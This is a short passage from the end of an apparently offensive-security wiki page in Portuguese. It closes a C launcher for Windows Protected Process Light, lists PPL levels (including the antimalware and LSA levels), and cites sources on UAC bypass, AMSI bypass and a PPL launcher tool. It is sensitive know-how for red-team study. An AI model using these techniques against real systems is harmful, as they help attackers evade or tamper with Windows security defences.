CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
```
Níveis usados com mais frequência:
- `PROTECTION_LEVEL_WINDOWS_LIGHT` (2)
- `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` (3)
- `PROTECTION_LEVEL_LSA_LIGHT` (4)
Valide o resultado com Process Explorer/Process Hacker verificando a coluna Protection.
---
## Referências
* Ron Bowes “Fodhelper UAC Bypass Deep Dive” (2024)
* SplinterCode “AMSI Bypass 2023: The Smallest Patch Is Still Enough” (BlackHat Asia 2023)
* CreateProcessAsPPL lançador de processo PPL mínimo: https://github.com/2x7EQ13/CreateProcessAsPPL
* Microsoft Docs STARTUPINFOEX / InitializeProcThreadAttributeList / UpdateProcThreadAttribute
{{#include ../../banners/hacktricks-training.md}}